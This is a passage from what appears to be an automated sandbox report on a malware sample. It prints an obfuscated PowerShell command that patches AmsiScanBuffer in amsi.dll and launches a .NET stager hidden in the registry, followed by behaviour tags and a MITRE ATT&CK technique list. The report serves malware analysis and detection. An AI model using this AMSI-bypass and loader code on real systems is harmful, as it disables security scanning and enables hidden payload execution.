har](115)+''+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$rqHjnGhrwtKHjoUFT=$ksHbdqSmXyTKYG.Invoke($Null,@([Object]$XOCcmeJ,[Object]('A'+[Char](109)+''+[Char](115)+''+'i'+''+'S'+'c'+[Char](97)+''+'n'+''+[Char](66)+'u'+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$ZoAIajItCK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EnsgqQTVGMRtFoBgk,$nCkNCbJtsHeUqTgjpidEhM).Invoke($rqHjnGhrwtKHjoUFT,[uint32]8,4,[ref]$ZoAIajItCK);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](251-120),[Byte](140+95),[Byte](21-21),[Byte](144+40),[Byte](208-121),[Byte](40-40),[Byte](93-86),[Byte](169-41),[Byte](19+112),[Byte](63+172),[Byte](127-127),[Byte](177+18),[Byte](130+1),[Byte](133+59),[Byte](102-102)),0,$rqHjnGhrwtKHjoUFT,179-164);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EnsgqQTVGMRtFoBgk,$nCkNCbJtsHeUqTgjpidEhM).Invoke($rqHjnGhrwtKHjoUFT,[uint32]8,0x20,[ref]$ZoAIajItCK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'S'+''+[Char](72)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion